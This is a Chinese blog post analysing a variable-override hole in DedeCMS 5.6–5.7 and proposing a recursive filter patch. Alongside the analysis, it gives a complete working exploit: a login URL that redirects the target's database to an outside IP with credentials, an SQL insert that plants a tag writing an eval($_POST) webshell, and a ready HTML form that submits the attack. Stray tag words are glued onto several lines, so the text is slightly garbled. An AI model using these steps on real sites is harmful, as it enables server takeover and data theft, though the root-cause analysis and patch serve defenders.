詳細分析下dedecms的這個劫持數據庫洞子

 漏洞不是我發的,這裏僅僅只是分析這個漏洞的成因    php

    今天看到微博看到dedecms出洞了,上土司看了一下,同一個問題,暫時公佈的有2個位置,html

dede/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=rootmysql

    上面這個是知道後臺地址的利用方式sql

    另外一種以下,下本地裝一個dede,執行一下語句,很簡單,寫了一個dedetag,生成shell的shell

SQL 語句:數據庫

insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen("1.php", \'a\');@fwrite($fp, \'<?php eval($_POST[c]) ?>\');echo "OK";@fclose($fp);{/dede:php}');數組

    再用構造的表單提交數據庫信息到plus/mytag_js.php?aid=1,覆蓋掉數據庫的全局參數,致使目標站的mysql類連接到黑客構造的mysql數據庫,shell 在同目錄下 1.php安全

    分析下mytag_js.php,一開始引用了配置文件,跟進去看看:服務器

require_once(dirname(__FILE__).'/../include/common.inc.php');網絡

    會發現下面代碼:

如下是引用片斷:

if (!defined('DEDEREQUEST'))  

    //檢查和註冊外部提交的變量 
    foreach($_REQUEST as $_k=>$_v)//這裏是關鍵, 
    { 
        if( strlen($_k)>0 && preg_match('/^(cfg_|GLOBALS)/',$_k) )//這裏是關鍵, 
        {//若是鍵名中有cfg_或GLOBALS,就退出了 
            exit('Request var not allow!'); 
        } 
    } 
    foreach(Array('_GET','_POST','_COOKIE') as $_request) 
    { 
        foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);//addslashes過濾的 
    } 
}

    上面這個套路過濾了引號之類的注入問題,變量覆蓋雖有過濾,可是沒過濾徹底,被多維數組繞過了,

    如_COOKIE[GLOBALS][cfg_dbuser]這個變量,foreach($_REQUEST as $_k=>$_v)以後,這個$k變成_COOKIE,從而繞過了過濾

    $v變成了[GLOBALS][cfg_dbuser],從而覆蓋了data/common.inc.php中的數據庫配置變量,

    測試5.6 ,5.7都存在,用dedecms的站很是多,此次估計得悲劇一大片。

    修補的方法官方論壇有位斑竹給出了代碼,以下

    找到include/common.inc.php文件

    找到

foreach($_REQUEST as $_k=>$_v)
{
if( strlen($_k)>0 && eregi('^(cfg_|GLOBALS)',$_k) )
{
  exit('Request var not allow!');
}
}


    替換爲下面的代碼:

function CheckRequest(&$val) {
        if (is_array($val)) {
            foreach ($val as $_k=>$_v) {
                CheckRequest($_k); 
                CheckRequest($val[$_k]);
            }
        } else
        {
            if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS)#',$val) )
            {
                exit('Request var not allow!');
            }
        }
    }
CheckRequest($_REQUEST);

------------------------------------------------------------------------------------------------

    By:jannock

    漏洞細節已經傳遍了(http://www.t00ls.net/thread-17354-1-1.htmlhttp://lcx.cc/?FoxNews=1681.html),又沒得玩了。

    網傳的都是說要知道後臺才能利用,但不用,只要 plus 目錄存在,服務器能外連,就能拿shell。

    前題條件,必須準備好本身的dede數據庫,而後插入數據:

如下是引用片斷:

insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen("1.php", \'a\');@fwrite($fp, \'<?php eval($_POST[c]) ?>\');echo "OK";@fclose($fp);{/dede:php}');

    再用下面表單提交,shell 就在同目錄下  1.php。原理本身研究。。。

如下是引用片斷:

<form action="" method="post" name="QuickSearch" id="QuickSearch" onsubmit="addaction();">
<input type="text" value="http://localhost:8080/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
<script>
function addaction()
{
document.QuickSearch.action=document.QuickSearch.doaction.value;
}
</script>

本文「DedeCms v5.6-5.7 爆嚴重安全漏洞 …… - 拿 WebShell EXP」,來自:Nuclear'Atk 網絡安全研究中心,本文地址:http://lcx.cc/?i=1682,轉載請註明做者及出處!

相關文章
相關標籤/搜索